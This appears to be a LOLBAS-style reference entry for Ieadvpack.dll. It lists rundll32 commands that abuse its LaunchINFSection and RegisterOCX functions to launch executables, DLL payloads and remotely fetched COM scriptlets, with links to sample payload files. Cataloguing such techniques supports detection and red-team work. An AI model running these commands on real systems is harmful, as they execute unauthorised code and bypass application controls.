--- Name: Ieadvpack.dll Description: Execute Author: '' Created: '2018-05-25' Categories: [] Commands: - Command: rundll32.exe IEAdvpack.dll,LaunchINFSection c:\\test.inf,DefaultInstall_SingleUser,1, Description: Remote fetch and execute a COM Scriptlet by calling an information file directive (Section name specified). - Command: rundll32.exe IEAdvpack.dll,LaunchINFSection test.inf,,1, Description: Remote fetch and execute a COM Scriptlet by calling an information file directive (DefaultInstall section implied). - Command: rundll32.exe IEAdvpack.dll,RegisterOCX calc.exe Description: Launch executable by calling the RegisterOCX function. - Command: rundll32.exe IEAdvpack.dll,RegisterOCX test.dll Description: Launch a DLL payload by calling the RegisterOCX function. Full Path: - c:\windows\system32\ieadvpack.dll - c:\windows\sysWOW64\ieadvpack.dll Code Sample: - https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack.inf - https://raw.githubusercontent.com/api0cradle/LOLBAS/master/OSLibraries/Payload/Advpack_calc.sct Detection: [] Resources: - https://twitter.com/pabraeken/status/991695411902599168 - https://bohops.com/2018/03/10/leveraging-inf-sct-fetch-execute-techniques-for-bypass-evasion-persistence-part-2/ - https://twitter.com/0rbz_/status/974472392012689408 Notes: Thanks to Pierre-Alexandre Braeken - @pabraeken (RegisterOCX - Cmd), Jimmy - @bohops (LaunchINFSection), fabrizio - @0rbz_ (RegisterOCX - DLL)